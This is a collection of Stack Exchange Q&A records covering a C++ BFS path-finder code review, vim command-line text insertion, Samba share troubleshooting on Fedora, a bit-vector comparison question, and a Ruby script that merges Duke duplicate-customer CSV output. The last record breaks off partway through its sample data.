{  "id": "_codereview.70172"  , "question": "I have very little experience in programming with C++ and the following small program is the 2nd one I have ever written in that language. I am most interested in comments regarding naming conventions and the way the code is modularized. Also, can you tell whether the code sticks to idiomatic use of the language?Here what I have so far:directed_graph_node.h:#ifndef DIRECTED_GRAPH_NODE_H#define DIRECTED_GRAPH_NODE_H#include <string>#include <unordered_set>#include <vector>/******************************************************************************** This class implements a node in directed graphs. The adjacency list          ** invariant is that if there is a directed edge from u to v, u.m_out has a     ** pointer to v, and v.m_in has a pointer to u.                                 ********************************************************************************/class DirectedGraphNode {public:    DirectedGraphNode(const std::string name);    void add_child(DirectedGraphNode& child);    bool has_child(DirectedGraphNode& query);    void remove_child(DirectedGraphNode& child);    // Child iterators.    std::unordered_set<DirectedGraphNode*>::const_iterator begin();    std::unordered_set<DirectedGraphNode*>::const_iterator end();    bool operator==(const DirectedGraphNode& other) const;    friend std::ostream& operator<<(std::ostream& os,                                     const DirectedGraphNode& node);    // Forward declaration.    class ParentIteratorProxy;    ParentIteratorProxy parents();    class ParentIteratorProxy {    public:        ParentIteratorProxy(const DirectedGraphNode* owner);        std::unordered_set<DirectedGraphNode*>::const_iterator begin();        std::unordered_set<DirectedGraphNode*>::const_iterator end();    private:        const DirectedGraphNode* mp_owner;    };private:    std::string m_name;    std::unordered_set<DirectedGraphNode*> m_in;    std::unordered_set<DirectedGraphNode*> m_out;};#endif  // DIRECTED_GRAPH_NODE_Hdirected_graph_node.cpp:#include <iostream>#include <stdexcept>#include <unordered_set>#include directed_graph_node.h/******************************************************************************** Constructs a new DirectedGraphNode with the given name.                      ********************************************************************************/DirectedGraphNode::DirectedGraphNode(const std::string name) {    m_name = name;}/******************************************************************************** Creates a directed edge from this node to node 'child'.                      ********************************************************************************/ void DirectedGraphNode::add_child(DirectedGraphNode& child) {    m_out.insert(&child);    child.m_in.insert(this);}/******************************************************************************** Queries whether there is an arc (this, query).                               ********************************************************************************/bool DirectedGraphNode::has_child(DirectedGraphNode& query) {    if (m_out.find(&query) == m_out.end()) {        if (query.m_in.find(this) != query.m_in.end()) {            // The adjacency list invariant is broken. See the header.            throw std::runtime_error(Adjacency list invariant broken. 1/2.);        }        return false;    } else if (query.m_in.find(this) == query.m_in.end()) {        throw std::runtime_error(Adjacency list invariant broken. 2/2.);    }    return true;}/******************************************************************************** Removes the edge (this, child).                                              ********************************************************************************/void DirectedGraphNode::remove_child(DirectedGraphNode& child) {    m_out.erase(&child);    child.m_in.erase(this);}/******************************************************************************** Compares by name this node to 'other'.                                       ********************************************************************************/bool DirectedGraphNode::operator ==(const DirectedGraphNode& other) const {    return this->m_name.compare(other.m_name) == 0;}/******************************************************************************** Returns a const iterator to a child node of this node.                       ********************************************************************************/std::unordered_set<DirectedGraphNode*>::const_iterator DirectedGraphNode::begin() {    return m_out.begin();}/******************************************************************************** Returns a const iterator to the end of child list.                           ********************************************************************************/std::unordered_set<DirectedGraphNode*>::const_iteratorDirectedGraphNode::end() {    return m_out.end();}/******************************************************************************** Returns a proxy iterator over a node's parent nodes.                         ********************************************************************************/DirectedGraphNode::ParentIteratorProxy                 ::ParentIteratorProxy(const DirectedGraphNode* p_owner) :                  mp_owner(p_owner) {}/******************************************************************************** Returns the first parent node in the parent list of the owner node.          ********************************************************************************/std::unordered_set<DirectedGraphNode*>::const_iteratorDirectedGraphNode::ParentIteratorProxy::begin() {    return mp_owner->m_in.begin();}/******************************************************************************** Returns an iterator pointing to the end of owner node's parent list.         ********************************************************************************/std::unordered_set<DirectedGraphNode*>::const_iteratorDirectedGraphNode::ParentIteratorProxy::end() {    return mp_owner->m_in.end();}/******************************************************************************** Returns an iterator over owner node's parent list.                           ********************************************************************************/DirectedGraphNode::ParentIteratorProxy DirectedGraphNode::parents() {    return ParentIteratorProxy(this);}/******************************************************************************** Neatly prints a node.                                                        ********************************************************************************/std::ostream& operator<<(std::ostream& os, const DirectedGraphNode& node) {    return os << [DirectedGraphNode  << node.m_name << ];}path_finder.h:#ifndef PATHFINDER_H#define PATHFINDER_H#include <algorithm>#include <unordered_map>#include <vector>#include directed_graph_node.husing std::unordered_map;using std::vector;class PathFinder {public:    virtual std::vector<DirectedGraphNode*>*         search(DirectedGraphNode& source,               DirectedGraphNode& target) = 0;    vector<DirectedGraphNode*>*         construct_path(DirectedGraphNode* touch,                       unordered_map<DirectedGraphNode*,                                     DirectedGraphNode*>* p_parents_f,                       unordered_map<DirectedGraphNode*,                                     DirectedGraphNode*>* p_parents_b) {        vector<DirectedGraphNode*>* p_path = new vector<DirectedGraphNode*>;        DirectedGraphNode* u = const_cast<DirectedGraphNode*>(touch);        while (u) {            p_path->push_back(u);            u = (*p_parents_f)[u];        }        std::reverse(p_path->begin(), p_path->end());        if (p_parents_b) {            u = (*p_parents_b)[touch];            while (u) {                p_path->push_back(u);                u = (*p_parents_b)[u];            }        }        return p_path;    }};#endif // PATHFINDER_Hbfs_path_finder.h:#ifndef BFS_PATH_FINDER_H#define BFS_PATH_FINDER_H#include <deque>#include <iostream>#include <vector>#include <unordered_map>#include directed_graph_node.h#include path_finder.h/******************************************************************************** Implements a path finder using breadth-first search in unweighted digraphs.  ********************************************************************************/class BFSPathFinder : public PathFinder {public:    std::vector<DirectedGraphNode*>* search(DirectedGraphNode& source,                                            DirectedGraphNode& target) {        m_queue.clear();        m_parent_map.clear();        // Initialize the state.        m_queue.push_back(&source);        m_parent_map[&source] = nullptr;        while (!m_queue.empty()) {            DirectedGraphNode* p_current = m_queue.front();            if (*p_current == target) {                // Reached the target.                return construct_path(p_current, &m_parent_map, nullptr);            }            m_queue.pop_front();            for (auto p_child : *p_current) {                if (m_parent_map.find(p_child) == m_parent_map.end()) {                    m_parent_map.insert({p_child, p_current});                    m_queue.push_back(p_child);                }            }        }        return nullptr;    }private:    std::deque<DirectedGraphNode*> m_queue;    std::unordered_map<DirectedGraphNode*,                        DirectedGraphNode*> m_parent_map;};#endif // BFS_PATH_FINDER_Hbibfs_path_finder.h:#ifndef BIBFS_PATH_FINDER_H#define BIBFS_PATH_FINDER_H#include <deque>#include <iostream>#include <vector>#include <unordered_map>#include directed_graph_node.h#include path_finder.h/******************************************************************************** Implements a path finder using bidirectional breadth-first search for        ** unweighted digraphs.                                                         ********************************************************************************/class BidirectionalBFSPathFinder : public PathFinder {public:    std::vector<DirectedGraphNode*>* search(DirectedGraphNode& source,                                            DirectedGraphNode& target) {        m_queue1.clear();        m_queue2.clear();        m_parent_map1.clear();        m_parent_map2.clear();        m_distance_map1.clear();        m_distance_map2.clear();        // Initialize the state.        m_queue1.push_back(&source);        m_queue2.push_back(&target);        m_parent_map1[&source] = nullptr;        m_parent_map2[&target] = nullptr;        m_distance_map1[&source] = 0;        m_distance_map2[&target] = 0;        // A node where the two search frontiers meet.        DirectedGraphNode* p_touch = nullptr;        // The best known cost of a shortest path.        size_t best_cost = std::numeric_limits<std::size_t>::max();        while (m_queue1.size() > 0 && m_queue2.size() > 0) {            if (p_touch != nullptr                    && m_distance_map1[m_queue1.front()]                      + m_distance_map2[m_queue2.front()] >= best_cost) {                // Termination condition met.                return construct_path(p_touch,                                      &m_parent_map1,                                      &m_parent_map2);            }            // A trivial load balancing.            if (m_queue1.size() < m_queue2.size()) {                // Once here, expand the forward search frontier.                DirectedGraphNode* p_current = m_queue1.front();                if (m_parent_map2.find(p_current) != m_parent_map2.end()) {                    // Here, update to the shortest path is possible.                    const size_t tmp = m_distance_map1[p_current] +                                       m_distance_map2[p_current];                    if (best_cost > tmp) {                        // Update the current best touch node.                        best_cost = tmp;                        p_touch = p_current;                    }                }                m_queue1.pop_front();                // Expand the forward search frontier.                for (auto p_child : *p_current) {                    if (m_parent_map1.find(p_child) == m_parent_map1.end()) {                        m_parent_map1.insert({p_child, p_current});                        m_distance_map1.insert({                            p_child,                             m_distance_map1[p_current] + 1                        });                        m_queue1.push_back(p_child);                    }                }            } else {                // Once here, expand the backward search frontier.                DirectedGraphNode* p_current = m_queue2.front();                if (m_parent_map1.find(p_current) != m_parent_map1.end()) {                    // Here, update to the shortest path is possible.                    const size_t tmp = m_distance_map1[p_current] +                                       m_distance_map2[p_current];                    if (best_cost > tmp) {                        // Update the current best touch node.                        best_cost = tmp;                        p_touch = p_current;                    }                }                m_queue2.pop_front();                // Expand the backward search.                for (auto p_parent : p_current->parents()) {                    if (m_parent_map2.find(p_parent) == m_parent_map2.end()) {                        m_parent_map2.insert({p_parent, p_current});                        m_distance_map2.insert({                            p_parent,                            m_distance_map2[p_current] + 1                        });                        m_queue2.push_back(p_parent);                    }                }            }        }        return nullptr;    }private:    std::deque<DirectedGraphNode*> m_queue1;    std::deque<DirectedGraphNode*> m_queue2;    std::unordered_map<DirectedGraphNode*,                        DirectedGraphNode*> m_parent_map1;    std::unordered_map<DirectedGraphNode*,                       DirectedGraphNode*> m_parent_map2;    std::unordered_map<DirectedGraphNode*,                       size_t> m_distance_map1;    std::unordered_map<DirectedGraphNode*,                       size_t> m_distance_map2;};#endif  // BIBFS_PATH_FINDER_H "  , "title": "Finding shortest paths in directed graphs"  , "tags": "c++;algorithm;pathfinding;breadth first search;framework"  , "accepted_answer": "There is quite a bit of code here, so consequently my review is not going to be the definitive. The things that most caught my attention:In all classes:You are using very long names everywhere like in std::unordered_set<DirectedGraphNode*>::const_iteratorIt is very easy to mistype such names and get a torrent of template erros from the compiler that can be a pain to read and figure out. Replace all those with using aliases. E.g.:using DirectedGraphNodeSet     = std::unordered_set<DirectedGraphNode*>;using DirectedGraphNodeSetIter = DirectedGraphNodeSet::const_iterator;directed_graph_node.cpp:Make sure to always initialize data in the constructor by calling the constructors of the sub-objects:DirectedGraphNode::DirectedGraphNode(std::string name)    : m_name(std::move(name)) {}Also, in this case name should not be const. If it is const, you cannot move it, resulting in an extra unnecessary copy of the string.Speaking of move, your classes don't provide move operator and constructor. Not sure if those would apply, but if you are not familiar with the concept yet (C++11), take a look at the previous link and also on The rule of three/five/zero.throw std::runtime_error(Adjacency list invariant broken. 1/2.);That error message is not very helpful. Better to name which invariant was broken instead of numbering it.bool DirectedGraphNode::operator ==(const DirectedGraphNode& other) const {    return this->m_name.compare(other.m_name) == 0;}Using the == operator would be more straightforward in this case:bool DirectedGraphNode::operator ==(const DirectedGraphNode& other) const {    return this->m_name == other.m_name;}path_finder.h:One thing that bothers me in here is this vector<DirectedGraphNode*>*. You return that pointer, which is allocated with new, but it is not clear for the caller who owns it. There is potential for a memory leak there. I think a unique_ptr would be in order.This is also not cool:using std::unordered_map;using std::vector;In the global namespace, they will leak to any other file that includes path_finder.h. Replace those with a using alias inside the class.Otherwise, the code looks nice. You have used modern C++ throughout. I hope you also get more reviews on the algorithms an architecture."  } 
{  "id": "_unix.162345"  , "question": "I am trying to write a command along the lines of the following:vim -c XXXXXX myFileInstead of the XXXXX I want to supply some commands to vim to add some text to an arbitrary point in the file, both by specifying an exact line number and, in a different scenario, by searching for a specific line and then insert on the line above.What I am trying to do is a sort of clever append where I can append lines to a code block or function inside a script. Ultimately I am aiming to have a setup script which will go and alter maybe a dozen system files.Ideally it would only involve one -c flag and ideally it would be readable to anyone that can understand normal mode commands - in my head I was originally thinking something like ggjjjiInsertingOnLine4:wq once I can get it into normal mode."  , "title": "How do I use vim on the command line to add text to the middle of a file?"  , "tags": "bash;shell;command line;vim"  , "accepted_answer": "Command line ranges can be use to select a specific line that needs to be edited.Then substitute pattern can be used to perform the edit (append).For example, to append text hi at the begining of line 3:vim -c 3 s/^/hi/ -c wq file.txtTo append text hi at the end of line 3:vim -c 3 s/$/hi/ -c wq file.txtTo find more options and explanations:vim -c help cmdline-rangeSome more examplesTo find a search string hi and append string  everyone on line 3:vim -c 3 s/\\(hi\\)/\\1 everyone/ -c wq file.txtTo find a search string hi and prepend a string say  on line 3:vim -c 3 s/\\(hi\\)/say \\1/ -c wq file.txtIn case the line number is not known, To append first occurrences of string hi on every line with  all:vim -c 1,$ s/\\(hi\\)/\\1 all/ -c wq file.txtTo append all occurrences of string hi on every line with  all:vim -c 1,$ s/\\(hi\\)/\\1 all/g -c wq file.txtFor more info about substitutions:vim -c help substitute"  } 
{  "id": "_unix.176132"  , "question": "So i'm trying to setup a few shares on my home network and after 2 days of googleing i can't get it to work.i've added it to firewalld, but all i see is it being unhappy about printers.Both the PC and the Server are on Fedora 21.Thanks Rob[root@localhost samba]# systemctl status smb -l     smb.service - Samba SMB Daemon       Loaded: loaded (/usr/lib/systemd/system/smb.service; enabled)       Active: active (running) since Sat 2014-12-27 12:07:01 GMT; 32min ago     Main PID: 10308 (smbd)       Status: smbd: ready to serve connections...       CGroup: /system.slice/smb.service               10308 /usr/sbin/smbd               10309 /usr/sbin/smbd    Dec 27 12:07:01 localhost.localdomain smbd[10309]: STATUS=daemon 'smbd' finished starting up and ready to serve connectionsfailed to retrieve printer list: NT_STATUS_UNSUCCESSFUL    Dec 27 12:08:01 localhost.localdomain smbd[10314]: [2014/12/27 12:08:01.788537,  0]../source3/printing/print_cups.c:151(cups_connect)    Dec 27 12:08:01 localhost.localdomain smbd[10309]: [2014/12/27 12:08:01.788826,  0] ../source3/printing/print_cups.c:528(cups_async_callback)    Dec 27 12:08:01 localhost.localdomain smbd[10309]: failed to retrieve printer list: NT_STATUS_UNSUCCESSFUL    Dec 27 12:21:02 localhost.localdomain smbd[10550]: [2014/12/27 12:21:02.537410,  0] ../source3/printing/print_cups.c:151(cups_connect)    Dec 27 12:21:02 localhost.localdomain smbd[10309]: [2014/12/27 12:21:02.537767,  0] ../source3/printing/print_cups.c:528(cups_async_callback)    Dec 27 12:21:02 localhost.localdomain smbd[10309]: failed to retrieve printer list: NT_STATUS_UNSUCCESSFUL    Dec 27 12:34:03 localhost.localdomain smbd[10713]: [2014/12/27 12:34:03.319755,  0] ../source3/printing/print_cups.c:151(cups_connect)    Dec 27 12:34:03 localhost.localdomain smbd[10309]: [2014/12/27 12:34:03.320213,  0] ../source3/printing/print_cups.c:528(cups_async_callback)    Dec 27 12:34:03 localhost.localdomain smbd[10309]: failed to retrieve printer list: NT_STATUS_UNSUCCESSFUL_[root@localhost samba]# testparmLoad smb config files from /etc/samba/smb.confrlimit_max: increasing rlimit_max (1024) to minimum Windows limit (16384)Processing section [Music]Processing section [Films]Processing section [HLI]Loaded services file OK.Server role: ROLE_STANDALONEPress enter to see a dump of your service definitions[global]    workgroup = MYGROUP    interfaces = lo, eth0    map to guest = Bad User    log file = /var/log/samba/log.%m    max log size = 1024    unix extensions = No    socket options = TCP_NODELAY SO_RCVBUF=131072 SO_SNDBUF=131072    load printers = No    idmap config * : backend = tdb    hosts allow = 127., 134.173.    aio read size = 16384    aio write size = 16384    use sendfile = Yes    map hidden = Yes    map system = Yes    store dos attributes = Yes[Music]    comment = music magic blah blah    path = /share/music    valid users = user, root    read only = No    guest ok = Yes[Films]    comment = moving pics!    path = /share/films    valid users = user, root    read only = No    guest ok = Yes[HLI]    comment = HLI Files Here    path = /share/HLI    valid users = user, root    read only = No    guest ok = Yes_[root@localhost ~]# netstat --inet --inet6 -lnpActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    tcp        0      0 0.0.0.0:10000           0.0.0.0:*               LISTEN      1184/perl           tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      1170/dnsmasq        tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1109/sshd           tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      1131/smbd           tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      1131/smbd           tcp6       0      0 :::22                   :::*                    LISTEN      1109/sshd           tcp6       0      0 :::445                  :::*                    LISTEN      1131/smbd           tcp6       0      0 :::9090                 :::*                    LISTEN      1/systemd           tcp6       0      0 :::139                  :::*                    LISTEN      1131/smbd           udp        0      0 0.0.0.0:21246           0.0.0.0:*                           1075/dhclient       udp        0      0 0.0.0.0:10000           0.0.0.0:*                           1184/perl           udp        0      0 192.168.122.1:53        0.0.0.0:*                           1170/dnsmasq        udp        0      0 0.0.0.0:67              0.0.0.0:*                           1170/dnsmasq        udp        0      0 0.0.0.0:68              0.0.0.0:*                           1075/dhclient       udp        0      0 0.0.0.0:123             0.0.0.0:*                           681/chronyd         udp        0      0 127.0.0.1:323           0.0.0.0:*                           681/chronyd         udp6       0      0 :::123                  :::*                                681/chronyd         udp6       0      0 :::16665                :::*                                1075/dhclient       udp6       0      0 ::1:323                 :::*                                681/chronyd         raw6       0      0 :::58                   :::*                    7           753/NetworkManager  _[root@localhost ~]# tcpdump -i eth0 -n \\( tcp port 139 or tcp port 445 \\) and host 192.168.1.111tcpdump: eth0: No such device exists(SIOCGIFHWADDR: No such device)"  , "title": "smb running but not appearing in network"  , "tags": "fedora;smb"  , "accepted_answer": "The problem seems to be that nmbd is not running. If it was then netstat would print a line like this:udp   0   0 0.0.0.0:137   0.0.0.0:*   4691/nmbdWithout nmbd the system is not seen on the network. But it should be possible to connect to it. It seems that 192.168.122.1 is your LAN IP address. Enter this address in a SMB browser. On a Windows client you would enter \\\\192.168.122.1 in Windows Explorer. Linux clients may need something like smb://192.168.122.1.In a shell you could do this:smbclient -I 192.168.122.1 -L //foo -U yourusernamesmbclient -I 192.168.122.1 //foo/sharename -U yourusernameFurthermore your LAN interface name is not eth0 thus it doesn't make sense to put in in smb.conf (interfaces = lo, eth0). Of course, when checking with tcpdump you should have used the correct name, too. ip addr shows you the interface names and addresses.It may be necessary to allow NetBIOS broadcasts in your firewall."  } 
{  "id": "_cstheory.37361"  , "question": "Define a partial order $\\le$ on $\\{0,1\\}^d$ by pointwise comparison, i.e., we say $x \\le y$ if $x_i \\le y_i$ for all $i=1,2,\\dots,d$.I am interested in the following problem:Given $x_1,\\dots,x_n \\in \\{0,1\\}^d$ and $y_1,\\dots,y_n \\in \\{0,1\\}^d$, I want to determine whether there exists $i,j$ such that $x_i \\le y_j$.How efficiently can this be solved?  Pairwise comparison requires $\\Theta(n^2)$ comparisons.  Can we find a more efficient algorithm?I would be fine with assuming that the $x$'s and $y$'s come from some reasonable distribution and evaluating using the expected running time, if that helps.  We can assume $d$ is small compared to $n$.Equivalent statement of the problem: Given sets $S_1,\\dots,S_n$ and $T_1,\\dots,T_n$, determine whether there exists $i,j$ such that $S_i \\subseteq T_j$, where all sets are over the universe $\\{1,2,\\dots,d\\}$."  , "title": "Pairwise comparison of bit vectors"  , "tags": "ds.algorithms;co.combinatorics;ds.data structures;partial order"  } 
{  "id": "_webapps.49974"  , "question": "I want to create a channel, which will have videos uploaded by me and of other users, I found while surfing. Also I want to convert my playlists into a channel.Is there a way to do that?"  , "title": "How can I add videos from other users in my channel?"  , "tags": "youtube"  } 
{  "id": "_softwareengineering.50970"  , "question": "I took over a rather complicated project as the sole developer/project manager and tester sometime last year.In November last year there was a deadline for some new functionality to be delivered.The system I took over which was supposedly ready to be used was far from being ready. Sitting with one of the our customers users he came up with new features and requirements which was required. Even though the features they asked for was implemented he argued it was nothing like what they specified in the requirements. So I had to get back to the drawing board and do extensive changes to the system. Promise after promise, this is my own fault, I missed subsequent deadline due to different reasons: over-optimistic planning on my behalf, sick kids and various other personal issues.And there have been failings on the customer side too: only testing when I watch over their shoulder and so on.Yesterday we agreed that we go live if their users approve the application. Of course some issues showed up and now today, when I tried to call our customer he hung up and hasn't replied to any of my emails.This is really wearing me out, the hours and time spent on this far exceeds normal working hours and has taken its toll on my family as wellObviously there are things in this situation that are specific to this project, but I don't think the overall pattern (multiple small problems, leading to project breakdown) is uncommon.What would you do in a similar scenario? "  , "title": "What would you do? Long overdue on basically everything and now customer won't talk to you"  , "tags": "failure"  } 
{  "id": "_codereview.94425"  , "question": "The file I'm processing here is an outputted file from a Java library called duke. Its goal was go through all purchases made on a site and group them into a single customer. The output is a csv file in the format, you'll find an example of it below the code.I want to know if I've written this in a readable way or if there are any problems with the way I've written it.#!/usr/bin/env rubyrequire 'thor'require 'csv'require 'json'# This is the class we use to extend and use thorclass DukeFileProcessor < Thor  desc 'dedupe <FILE>', 'Will process a file generated by Duke.'  # Thor dedupe command  #  # @param csv_file_path [String]  #  # @return File  def dedupe(csv_file_path)    unmerged_ids = parse_csv(csv_file_path)    merged_ids   = merge_ids(unmerged_ids)    File.open(csv_file_path + '.matches.json', 'w').write(merged_ids.to_json)  end  private  # Merges the unmerged ids so they are all consolidated under a single  # group that we can call a customer  #  # Process:  #   - Iterate through all unmerged_ids  #     - Assign the current value of what's being iterated over to matches  #     - Iterate through the current value to find matches in unmerged_ids  #         and then merge matches into the current matches  #     - Finally add the current key and matches to the merged_ids variable  #  # @param unmerged_ids [Array]  #  # @return File  def merge_ids(unmerged_ids)    merged_ids = {}    unmerged_ids.each_pair do |key, value|      value.each do |match_id|        next if unmerged_ids[match_id].nil?        unmerged_ids[match_id].each do |policy_id|          value.push(policy_id) unless value.include?(policy_id)        end      end      merged_ids[key] = value - [key]    end  end  # Parses the given file and does a simple merge on ids to create  # an array of all secondary_ids that match the primary_id  #  # CSV Format: (is_match?(-/+),target,match,probability)  #  # @param csv_file_path [String]  #  # @return Hash  def parse_csv(csv_file_path)    unmerged_ids = {}    CSV.foreach(csv_file_path) do |row|      primary_id   = row[1].to_i      secondary_id = row[2].to_i      unmerged_ids[primary_id] = [] if unmerged_ids[primary_id].nil?      unmerged_ids[primary_id].push(secondary_id)    end    unmerged_ids  endendDukeFileProcessor.startHere's the first 500 lines from the file I'm using. The format of which is:is_match?(-/+),target,match,probability+,6,7,0.9997260166738423+,3,4,0.9997260166738423+,8,9,0.9997260166738423+,9,8,0.9997260166738423+,7,6,0.9997260166738423+,6,10,0.9997260166738423+,4,3,0.9997260166738423+,10,6,0.9997260166738423+,8,296,0.9986244841815681+,6,39,0.9983391066412223+,8,299,0.9986244841815681+,7,10,0.9997260166738423+,6,40,0.9983391066412223+,9,296,0.9986244841815681+,8,1101,0.9986244841815681+,10,7,0.9997260166738423+,6,1081,0.9983391066412223+,6,1083,0.9983391066412223+,10,39,0.9983391066412223+,10,40,0.9983391066412223+,10,1081,0.9983391066412223+,10,1083,0.9983391066412223+,8,1125,0.9997260166738423+,8,1128,0.9997260166738423+,9,299,0.9986244841815681+,8,1132,0.9997260166738423+,9,1101,0.9986244841815681+,9,1125,0.9997260166738423+,9,1128,0.9997260166738423+,7,39,0.9983391066412223+,8,1144,0.9986244841815681+,8,1149,0.9986244841815681+,7,40,0.9983391066412223+,9,1132,0.9997260166738423+,7,1081,0.9983391066412223+,7,1083,0.9983391066412223+,9,1144,0.9986244841815681+,9,1149,0.9986244841815681+,12,24781,0.9997260166738423+,11,16,0.9999872532595235+,17,15,0.9997260166738423+,16,11,0.9999872532595235+,7,36,0.9977532413823246+,6,36,0.9977532413823246+,10,36,0.9977532413823246+,15,17,0.9997260166738423+,18,560,0.99892382632337+,59,56,0.9997260166738423+,37,36,0.9997260166738423+,37,1333,0.9997260166738423+,37,1341,0.9997260166738423+,37,12479,0.9997260166738423+,37,19462,0.9997260166738423+,37,19466,0.9997260166738423+,70,64,0.9997260166738423+,70,106,0.9997260166738423+,27,8200,0.9999217037269025+,28,397,0.9981390956560382+,27,8229,0.9999217037269025+,49,145,0.9991644138608996+,49,19596,0.9998336350736409+,49,250925,0.9991644138608996+,64,70,0.9997260166738423+,64,106,0.9997260166738423+,26,22,0.9999217037269025+,27,66061,0.9990737249986892+,27,69613,0.9990737249986892+,27,69617,0.9990737249986892+,27,70011,0.9990737249986892+,23,613,0.9999217037269025+,27,70885,0.999849094020817+,23,1186,0.9999217037269025+,77,87,0.9997260166738423+,23,1274,0.9999217037269025+,22,26,0.9999217037269025+,23,7603,0.9999217037269025+,27,70946,0.9990737249986892+,23,7759,0.9996066089693157+,23,7766,0.9996066089693157+,95,100,0.9997260166738423+,95,12510,0.9997260166738423+,23,12437,0.9996066089693157+,23,12455,0.9996066089693157+,23,32083,0.9999217037269025+,39,40,0.9997260166738423+,39,1081,0.9997260166738423+,40,39,0.9997260166738423+,39,1083,0.9997260166738423+,40,1081,0.9997260166738423+,40,1083,0.9997260166738423+,39,36,0.9996291897994778+,39,37,0.9996291897994778+,40,36,0.9996291897994778+,39,1333,0.9996291897994778+,40,37,0.9996291897994778+,39,1341,0.9996291897994778+,40,1333,0.9996291897994778+,39,1352,0.9997851370603088+,114,108,0.9997260166738423+,40,1341,0.9996291897994778+,40,1352,0.9997851370603088+,46,48,0.9997260166738423+,56,59,0.9997260166738423+,126,123,0.9997260166738423+,126,131,0.9997260166738423+,126,132,0.9997260166738423+,88,65,0.9997260166738423+,87,77,0.9997260166738423+,36,37,0.9997260166738423+,36,1333,0.9997260166738423+,36,1341,0.9997260166738423+,150,148,0.9997260166738423+,150,155,0.9997260166738423+,36,12479,0.9997260166738423+,36,19462,0.9997260166738423+,36,19466,0.9997260166738423+,162,153,0.9997260166738423+,72,61,0.9999217037269025+,72,8079,0.9999217037269025+,65,88,0.9997260166738423+,48,46,0.9997260166738423+,100,95,0.9997260166738423+,100,12510,0.9997260166738423+,84,190,0.9997260166738423+,189,223,0.9997878432419376+,108,114,0.9997260166738423+,104,24385,0.9997260166738423+,104,24389,0.9997260166738423+,90,89,0.9998336350736409+,97,10059,0.9999478011222758+,89,90,0.9998336350736409+,61,72,0.9999217037269025+,61,8079,0.9999217037269025+,131,123,0.9997260166738423+,103,110,0.9997260166738423+,74,19142,0.9999217037269025+,131,126,0.9997260166738423+,131,132,0.9997260166738423+,208,18729,0.998739204342771+,148,150,0.9997260166738423+,148,155,0.9997260166738423+,106,64,0.9997260166738423+,106,70,0.9997260166738423+,161,159,0.9997260166738423+,123,126,0.9997260166738423+,123,131,0.9997260166738423+,123,132,0.9997260166738423+,169,166,0.9997260166738423+,110,103,0.9997260166738423+,139,164,0.9998336350736409+,139,4468,0.9998336350736409+,240,248,0.9997260166738423+,153,162,0.9997260166738423+,132,123,0.9997260166738423+,132,126,0.9997260166738423+,132,131,0.9997260166738423+,254,1263,0.9999217037269025+,107,6,0.9878882293158856+,107,7,0.9878882293158856+,107,10,0.9878882293158856+,181,177,0.9997260166738423+,145,49,0.9991644138608996+,181,191,0.9997260166738423+,156,146,0.9997260166738423+,181,236,0.9986244841815681+,156,230,0.9997260166738423+,107,39,0.9878882293158856+,181,657,0.9986244841815681+,145,19596,0.9991644138608996+,155,148,0.9997260166738423+,107,40,0.9878882293158856+,181,675,0.9986244841815681+,145,250925,0.9998336350736409+,181,912,0.9997260166738423+,155,150,0.9997260166738423+,107,1081,0.9878882293158856+,124,217,0.9997260166738423+,156,278,0.9997260166738423+,190,84,0.9997260166738423+,107,1083,0.9878882293158856+,166,169,0.9997260166738423+,107,36,0.9836761877555505+,159,161,0.9997260166738423+,199,219,0.9997260166738423+,167,174,0.9997260166738423+,193,2934,0.9997260166738423+,193,2998,0.9997260166738423+,193,3366,0.9997260166738423+,204,214,0.9997260166738423+,177,181,0.9997260166738423+,177,191,0.9997260166738423+,278,146,0.9997260166738423+,207,213,0.9999217037269025+,214,204,0.9997260166738423+,278,156,0.9997260166738423+,177,236,0.9986244841815681+,278,230,0.9997260166738423+,223,189,0.9997878432419376+,146,156,0.9997260166738423+,146,230,0.9997260166738423+,146,278,0.9997260166738423+,209,3572,0.9997260166738423+,236,177,0.9986244841815681+,236,181,0.9986244841815681+,236,191,0.9986244841815681+,236,657,0.9997260166738423+,236,675,0.9997260166738423+,177,657,0.9986244841815681+,207,21998,0.9999217037269025+,236,912,0.9986244841815681+,177,675,0.9986244841815681+,177,912,0.9997260166738423+,298,300,0.9997260166738423+,245,244,0.9997260166738423+,298,307,0.9997260166738423+,213,207,0.9999217037269025+,213,21998,0.9999217037269025+,306,304,0.9997260166738423+,164,139,0.9998336350736409+,164,4468,0.9998336350736409+,217,124,0.9997260166738423+,160,7682,0.9998890838982443+,160,7725,0.9998890838982443+,160,7735,0.9998890838982443+,160,66236,0.9998890838982443+,160,69756,0.9998890838982443+,174,167,0.9997260166738423+,244,245,0.9997260166738423+,219,199,0.9997260166738423+,333,1259,0.9997260166738423+,182,1530,0.9999729135649095+,260,802,0.9986244841815681+,226,216,0.9998336350736409+,226,1089,0.9998336350736409+,226,1090,0.9998336350736409+,226,1092,0.9998336350736409+,226,1093,0.9998336350736409+,226,1094,0.9998336350736409+,226,1095,0.9998336350736409+,226,1096,0.9998336350736409+,196,200,0.9997260166738423+,272,285,0.9997260166738423+,272,290,0.9997260166738423+,191,177,0.9997260166738423+,191,181,0.9997260166738423+,191,236,0.9986244841815681+,191,657,0.9986244841815681+,191,675,0.9986244841815681+,191,912,0.9997260166738423+,206,405,0.9997260166738423+,343,352,0.9997260166738423+,200,196,0.9997260166738423+,352,343,0.9997260166738423+,216,226,0.9998336350736409+,230,146,0.9997260166738423+,216,1089,0.9998336350736409+,230,156,0.9997260166738423+,230,278,0.9997260166738423+,361,350,0.9997260166738423+,361,360,0.9997260166738423+,310,313,0.9997260166738423+,216,1090,0.9998336350736409+,216,1092,0.9998336350736409+,241,238,0.9997260166738423+,216,1093,0.9998336350736409+,216,1094,0.9998336350736409+,216,1095,0.9998336350736409+,216,1096,0.9998336350736409+,319,344,0.9997260166738423+,249,263,0.9997260166738423+,328,322,0.9997260166738423+,328,335,0.9997260166738423+,328,1299,0.9997260166738423+,328,9497,0.9997260166738423+,225,215,0.9998336350736409+,238,241,0.9997260166738423+,220,237,0.9999478011222758+,248,240,0.9997260166738423+,347,345,0.9997260166738423+,357,353,0.9997260166738423+,309,369,0.9997260166738423+,215,225,0.9998336350736409+,367,368,0.9997260166738423+,384,373,0.9997260166738423+,269,291,0.9997260166738423+,269,294,0.9997260166738423+,269,1272,0.9997260166738423+,269,12493,0.9997260166738423+,269,12494,0.9997260166738423+,269,12495,0.9997260166738423+,269,12496,0.99972601